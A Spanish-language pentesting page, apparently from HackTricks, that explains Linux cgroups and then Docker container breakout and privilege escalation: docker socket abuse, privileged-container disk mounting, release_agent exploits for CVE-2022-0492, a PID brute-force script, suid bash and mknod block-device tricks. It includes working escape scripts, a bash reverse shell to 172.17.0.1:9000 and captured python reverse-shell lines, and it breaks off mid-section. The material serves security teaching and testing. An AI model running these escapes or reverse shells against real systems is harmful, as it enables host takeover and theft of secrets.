Los **grupos de control de Linux**, también conocidos como cgroups, son una característica del kernel de Linux que permite **limitar**, controlar y priorizar los **recursos del sistema** para una colección de procesos. Los cgroups proporcionan una forma de **gestionar y aislar el uso de recursos** (CPU, memoria, E/S de disco, red, etc.) de grupos de procesos en un sistema. Esto puede ser útil para muchos propósitos, como limitar los recursos disponibles para un grupo particular de procesos, aislar ciertos tipos de cargas de trabajo de otros o priorizar el uso de recursos del sistema entre diferentes grupos de procesos.
|
||||
|
||||
Existen **dos versiones de cgroups**, 1 y 2, y ambas se utilizan actualmente y se pueden configurar simultáneamente en un sistema. La diferencia **más significativa** entre la versión 1 y la **versión 2** de cgroups es que esta última introdujo una nueva organización jerárquica para los cgroups, donde los grupos se pueden organizar en una estructura **similar a un árbol** con relaciones padre-hijo. Esto permite un control más flexible y detallado sobre la asignación de recursos entre diferentes grupos de procesos.
|
||||
|
||||
Además de la nueva organización jerárquica, la versión 2 de cgroups también introdujo **varios otros cambios y mejoras**, como el soporte para **nuevos controladores de recursos**, un mejor soporte para aplicaciones heredadas y un mejor rendimiento.
|
||||
|
||||
En general, cgroups **versión 2 ofrece más características y mejor rendimiento** que la versión 1, pero esta última aún puede ser utilizada en ciertos escenarios donde la compatibilidad con sistemas más antiguos es una preocupación.
|
||||
|
||||
Puede listar los cgroups v1 y v2 para cualquier proceso mirando su archivo cgroup en /proc/\<pid>. Puede comenzar mirando los cgroups de su shell con este comando:
|
||||
```shell-session
|
||||
$ cat /proc/self/cgroup
|
||||
12:rdma:/
|
||||
11:net_cls,net_prio:/
|
||||
10:perf_event:/
|
||||
9:cpuset:/
|
||||
8:cpu,cpuacct:/user.slice
|
||||
7:blkio:/user.slice
|
||||
6:memory:/user.slice 5:pids:/user.slice/user-1000.slice/session-2.scope 4:devices:/user.slice
|
||||
3:freezer:/
|
||||
2:hugetlb:/testcgroup
|
||||
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
|
||||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
No te alarmes si la **salida es significativamente más corta** en tu sistema; esto solo significa que probablemente **solo tengas cgroups v2**. Cada línea de salida aquí comienza con un número y es un cgroup diferente. Aquí hay algunos consejos sobre cómo leerlo:
|
||||
|
||||
* Los números 2-12 son para cgroups v1. Los **controladores** para esos se enumeran junto al número.
|
||||
* El número 1 también es para la **versión 1**, pero no tiene un controlador. Este cgroup es solo para **propósitos de gestión** (en este caso, systemd lo configuró).
|
||||
* La última línea, el número 0, es para **cgroups v2**. No hay controladores visibles aquí. En un sistema que no tiene cgroups v1, esta será la única línea de salida.
|
||||
* Los **nombres son jerárquicos y parecen partes de rutas de archivos**. Puedes ver en este ejemplo que algunos de los cgroups se llaman /user.slice y otros /user.slice/user-1000.slice/session-2.scope.
|
||||
* El nombre /testcgroup se creó para mostrar que en cgroups v1, los cgroups para un proceso pueden ser completamente independientes.
|
||||
* Los nombres bajo user.slice que incluyen sesión son sesiones de inicio de sesión, asignadas por systemd. Los verás cuando estés mirando los cgroups de una shell. Los cgroups para tus servicios del sistema estarán bajo system.slice.
|
||||
|
||||
### Visualización de cgroups
|
||||
|
||||
Los cgroups se **acceden típicamente a través del sistema de archivos**. Esto es en contraste con la interfaz de llamada al sistema Unix tradicional para interactuar con el kernel.\
|
||||
Para explorar la configuración de cgroup de una shell, puedes mirar en el archivo `/proc/self/cgroup` para encontrar el cgroup de la shell, y luego navegar al directorio `/sys/fs/cgroup` (o `/sys/fs/cgroup/unified`) y buscar un **directorio con el mismo nombre que el cgroup**. Cambiar a este directorio y mirar alrededor te permitirá ver los diversos **ajustes e información de uso de recursos para el cgroup**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Entre los muchos archivos que pueden estar aquí, **los archivos de interfaz de cgroup primarios comienzan con `cgroup`**. Comienza mirando `cgroup.procs` (usar cat está bien), que lista los procesos en el cgroup. Un archivo similar, `cgroup.threads`, también incluye hilos.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La mayoría de los cgroups utilizados para shells tienen estos dos controladores, que pueden controlar la **cantidad de memoria** utilizada y el **número total de procesos en el cgroup**. Para interactuar con un controlador, busca los **archivos que coincidan con el prefijo del controlador**. Por ejemplo, si quieres ver el número de hilos que se ejecutan en el cgroup, consulta pids.current:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un valor de **max significa que este cgroup no tiene un límite específico**, pero debido a que los cgroups son jerárquicos, un cgroup hacia abajo en la cadena de subdirectorios podría limitarlo.
|
||||
|
||||
### Manipulación y creación de cgroups
|
||||
|
||||
Para poner un proceso en un cgroup, **escribe su PID en su archivo `cgroup.procs` como root:**
|
||||
```shell-session
|
||||
# echo pid > cgroup.procs
|
||||
```
|
||||
Así es como funcionan muchos cambios en cgroups. Por ejemplo, si desea **limitar el número máximo de PIDs de un cgroup** (a, digamos, 3.000 PIDs), hágalo de la siguiente manera:
|
||||
```shell-session
|
||||
# echo 3000 > pids.max
|
||||
```
|
||||
**Crear cgroups es más complicado**. Técnicamente, es tan fácil como crear un subdirectorio en algún lugar del árbol de cgroups; cuando lo haces, el kernel crea automáticamente los archivos de interfaz. Si un cgroup no tiene procesos, puedes eliminar el cgroup con rmdir incluso con los archivos de interfaz presentes. Lo que puede confundirte son las reglas que rigen los cgroups, incluyendo:
|
||||
|
||||
* Solo puedes poner **procesos en cgroups de nivel externo ("hoja")**. Por ejemplo, si tienes cgroups llamados /my-cgroup y /my-cgroup/my-subgroup, no puedes poner procesos en /my-cgroup, pero /my-cgroup/my-subgroup está bien. (Una excepción es si los cgroups no tienen controladores, pero no profundicemos más).
|
||||
* Un cgroup **no puede tener un controlador que no esté en su cgroup padre**.
|
||||
* Debes **especificar explícitamente los controladores para los cgroups hijos**. Lo haces a través del archivo `cgroup.subtree_control`; por ejemplo, si quieres que un cgroup hijo tenga los controladores de cpu y pids, escribe +cpu +pids en este archivo.
|
||||
|
||||
Una excepción a estas reglas es el **cgroup raíz** que se encuentra en la parte inferior de la jerarquía. Puedes **colocar procesos en este cgroup**. Una razón por la que podrías querer hacer esto es para separar un proceso del control de systemd.
|
||||
|
||||
Incluso sin controladores habilitados, puedes ver el uso de CPU de un cgroup mirando su archivo cpu.stat:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Debido a que este es el uso acumulado de CPU durante toda la vida útil del cgroup, puedes ver cómo un servicio consume tiempo de procesador incluso si genera muchos subprocesos que eventualmente terminan.
|
|
@ -0,0 +1,742 @@
|
|||
# Docker Breakout / Escalada de Privilegios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Enumeración y Escape Automático
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): También puede **enumerar contenedores**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es bastante **útil para enumerar el contenedor en el que te encuentras e intentar escapar automáticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor para encontrar formas de escapar de él
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Herramienta para enumerar y escapar de contenedores
|
||||
* [**grype**](https://github.com/anchore/grype): Obtiene los CVE contenidos en el software instalado en la imagen
|
||||
|
||||
## Escape de Socket de Docker Montado
|
||||
|
||||
Si de alguna manera descubres que el **socket de Docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de Docker que por alguna razón necesitan conectarse al daemon de Docker para realizar acciones.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
En este caso, puedes utilizar comandos regulares de docker para comunicarte con el demonio de docker:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
#Run the image mounting the host disk and chroot on it
|
||||
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
||||
|
||||
# Get full access to the host via ns pid and nsenter cli
|
||||
docker run -it --rm --pid=host --privileged ubuntu bash
|
||||
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||
|
||||
# Get full privs in container without --privileged
|
||||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
En caso de que el **socket de Docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
El demonio de Docker también puede estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el demonio de Docker puede ocurrir a través del socket de Systemd `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Además, presta atención a los sockets de tiempo de ejecución de otros tiempos de ejecución de alto nivel:
|
||||
|
||||
* dockershim: `unix:///var/run/dockershim.sock`
|
||||
* containerd: `unix:///run/containerd/containerd.sock`
|
||||
* cri-o: `unix:///var/run/crio/crio.sock`
|
||||
* frakti: `unix:///var/run/frakti.sock`
|
||||
* rktlet: `unix:///var/run/rktlet.sock`
|
||||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Escape de abuso de capacidades
|
||||
|
||||
Debes verificar las capacidades del contenedor, si tiene alguna de las siguientes, podrías escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Puedes verificar las capacidades actuales del contenedor usando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
En la siguiente página puedes **aprender más sobre las capacidades de Linux** y cómo abusar de ellas para escapar o elevar privilegios:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Escapando de contenedores privilegiados
|
||||
|
||||
Un contenedor privilegiado puede ser creado con la bandera `--privileged` o deshabilitando defensas específicas:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `--security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* `Montar /dev`
|
||||
|
||||
La bandera `--privileged` introduce preocupaciones significativas de seguridad, y el exploit depende de lanzar un contenedor docker con ella habilitada. Al usar esta bandera, los contenedores tienen acceso completo a todos los dispositivos y carecen de restricciones de seccomp, AppArmor y capacidades de Linux. Puedes **leer todos los efectos de `--privileged`** en esta página:
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privileged + hostPID
|
||||
|
||||
Con estos permisos, simplemente puedes **moverte al namespace de un proceso que se esté ejecutando en el host como root**, como init (pid:1), ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Pruébalo en un contenedor ejecutando:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Privilegiado
|
||||
|
||||
Solo con la bandera privilegiada puedes intentar **acceder al disco del host** o intentar **escapar abusando de release\_agent u otros escapes**.
|
||||
|
||||
Prueba los siguientes bypasses en un contenedor ejecutando:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montando Disco - Poc1
|
||||
|
||||
Los contenedores de Docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en un comando de Docker mal configurado donde se especifica la bandera `--privileged` o `--device=/dev/sda1` con mayúsculas, es posible obtener los privilegios para ver la unidad del host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
Por lo tanto, para tomar el control de la máquina host, es trivial:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
¡Y voilà! Ahora puedes acceder al sistema de archivos del host porque está montado en la carpeta `/mnt/hola`.
|
||||
|
||||
#### Montando Disco - Poc2
|
||||
|
||||
Dentro del contenedor, un atacante puede intentar obtener acceso adicional al sistema operativo subyacente del host a través de un volumen hostPath de escritura creado por el clúster. A continuación, se muestran algunas cosas comunes que puedes verificar dentro del contenedor para ver si aprovechas este vector de ataque:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
||||
### Check root UUID
|
||||
cat /proc/cmdline
|
||||
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
|
||||
|
||||
# Check Underlying Host Filesystem
|
||||
findfs UUID=<UUID Value>
|
||||
/dev/sda1
|
||||
|
||||
# Attempt to Mount the Host's Filesystem
|
||||
mkdir /mnt-test
|
||||
mount /dev/sda1 /mnt-test
|
||||
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||||
|
||||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Escape de privilegios abusando del release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="PoC inicial" %}
|
||||
```bash
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
||||
# Finds + enables a cgroup release_agent
|
||||
# Looks for something like: /sys/fs/cgroup/*/release_agent
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
# If "d" is empty, this won't work, you need to use the next PoC
|
||||
|
||||
# Enables notify_on_release in the cgroup
|
||||
mkdir -p $d/w;
|
||||
echo 1 >$d/w/notify_on_release
|
||||
# If you have a "Read-only file system" error, you need to use the next PoC
|
||||
|
||||
# Finds path of OverlayFS mount for container
|
||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||||
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
|
||||
# Sets release_agent to /path/payload
|
||||
touch /o; echo $t/c > $d/release_agent
|
||||
|
||||
# Creates a payload
|
||||
echo "#!/bin/sh" > /c
|
||||
echo "ps > $t/o" >> /c
|
||||
chmod +x /c
|
||||
|
||||
# Triggers the cgroup via empty cgroup.procs
|
||||
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||||
|
||||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Escape de privilegios abusando del release_agent creado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Segundo PoC" %}
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# This technique should work with the majority of cgroup controllers
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
# If mount gives an error, this won't work, you need to use the first PoC
|
||||
|
||||
# Enables cgroup notifications on release of the "x" cgroup
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
|
||||
# Finds path of OverlayFS mount for container
|
||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
|
||||
# Sets release_agent to /path/payload
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
|
||||
#For a normal PoC =================
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
#===================================
|
||||
#Reverse shell
|
||||
echo '#!/bin/bash' > /cmd
|
||||
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
|
||||
chmod a+x /cmd
|
||||
#===================================
|
||||
|
||||
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
|
||||
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
|
||||
# The script on the host will execute after /bin/sh exits
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Encuentra una **explicación de la técnica** en:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Escape de privilegios abusando de release\_agent sin conocer la ruta relativa - PoC3
|
||||
|
||||
En los exploits anteriores se revela la **ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, esto no siempre es así. En casos en los que **no se conoce la ruta absoluta del contenedor dentro del host**, se puede utilizar esta técnica:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
{% endcontent-ref %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
OUTPUT_DIR="/"
|
||||
MAX_PID=65535
|
||||
CGROUP_NAME="xyx"
|
||||
CGROUP_MOUNT="/tmp/cgrp"
|
||||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||||
|
||||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||||
sleep 10000 &
|
||||
|
||||
# Prepare the payload script to execute on the host
|
||||
cat > ${PAYLOAD_PATH} << __EOF__
|
||||
#!/bin/sh
|
||||
|
||||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||||
|
||||
# Commands to run on the host<
|
||||
ps -eaf > \${OUTPATH} 2>&1
|
||||
__EOF__
|
||||
|
||||
# Make the payload script executable
|
||||
chmod a+x ${PAYLOAD_PATH}
|
||||
|
||||
# Set up the cgroup mount using the memory resource cgroup controller
|
||||
mkdir ${CGROUP_MOUNT}
|
||||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
|
||||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Escape de privilegios abusando de montajes sensibles
|
||||
|
||||
Existen varios archivos que pueden ser montados y que dan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ser ejecutado por el host cuando ocurre algo** (lo que permitiría a un atacante escapar del contenedor).\
|
||||
El abuso de estos archivos puede permitir que:
|
||||
|
||||
* release\_agent (ya cubierto anteriormente)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Sin embargo, puedes encontrar **otros archivos sensibles** para revisar en esta página:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Montajes arbitrarios
|
||||
|
||||
En varias ocasiones encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no se configuró correctamente, podrías ser capaz de **acceder/modificar datos sensibles**: Leer secretos, cambiar ssh authorized\_keys...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### Escalada de privilegios con 2 shells y montaje de host
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario sin privilegios al host** y tienes acceso de lectura sobre la carpeta montada.\
|
||||
Puedes crear un **archivo bash suid** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para escalar privilegios.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
chown root:root bash #From container as root inside mounted folder
|
||||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Escalada de privilegios con 2 shells
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario sin privilegios al host**, puedes abusar de ambos shells para **escalar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (que es por defecto) como se [**explica en esta publicación**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con dicha capacidad, el usuario root dentro del contenedor tiene permitido **crear archivos de dispositivo de bloque**. Los archivos de dispositivo son archivos especiales que se utilizan para **acceder a hardware subyacente y módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso a **leer los datos en bruto en el disco del sistema**.
|
||||
|
||||
Docker asegura que los dispositivos de bloque **no pueden ser abusados desde dentro del contenedor** estableciendo una política de cgroup en el contenedor que bloquea la lectura y escritura de dispositivos de bloque.\
|
||||
Sin embargo, si se **crea un dispositivo de bloque dentro del contenedor, puede ser accedido** a través de la carpeta /proc/PID/root/ por alguien **fuera del contenedor**, siendo la limitación que el **proceso debe ser propiedad del mismo usuario** fuera y dentro del contenedor.
|
||||
|
||||
Ejemplo de **explotación** de este [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
# Crate device
|
||||
mknod sda b 8 0
|
||||
# Give access to it
|
||||
chmod 777 sda
|
||||
|
||||
# Create the nonepriv user of the host inside the container
|
||||
## In this case it's called augustus (like the user from the host)
|
||||
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
|
||||
# Get a shell as augustus inside the container
|
||||
su augustus
|
||||
su: Authentication failure
|
||||
(Ignored)
|
||||
augustus@3a453ab39d3d:/backend$ /bin/sh
|
||||
/bin/sh
|
||||
$
|
||||
```
|
||||
|
||||
```bash
|
||||
# On the host
|
||||
|
||||
# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
|
||||
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
|
||||
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||||
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||||
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
|
||||
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
|
||||
|
||||
# The process ID is 1659 in this case
|
||||
# Grep for the sda for HTB{ through the process:
|
||||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||||
```
|
||||
### hostPID
|
||||
|
||||
Si puedes acceder a los procesos del host, podrás acceder a mucha información sensible almacenada en esos procesos. Ejecuta el laboratorio de pruebas:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Por ejemplo, podrás listar los procesos usando algo como `ps auxn` y buscar detalles sensibles en los comandos.
|
||||
|
||||
Luego, como puedes **acceder a cada proceso del host en /proc/, simplemente puedes robar sus secretos de entorno** ejecutando:
|
||||
```bash
|
||||
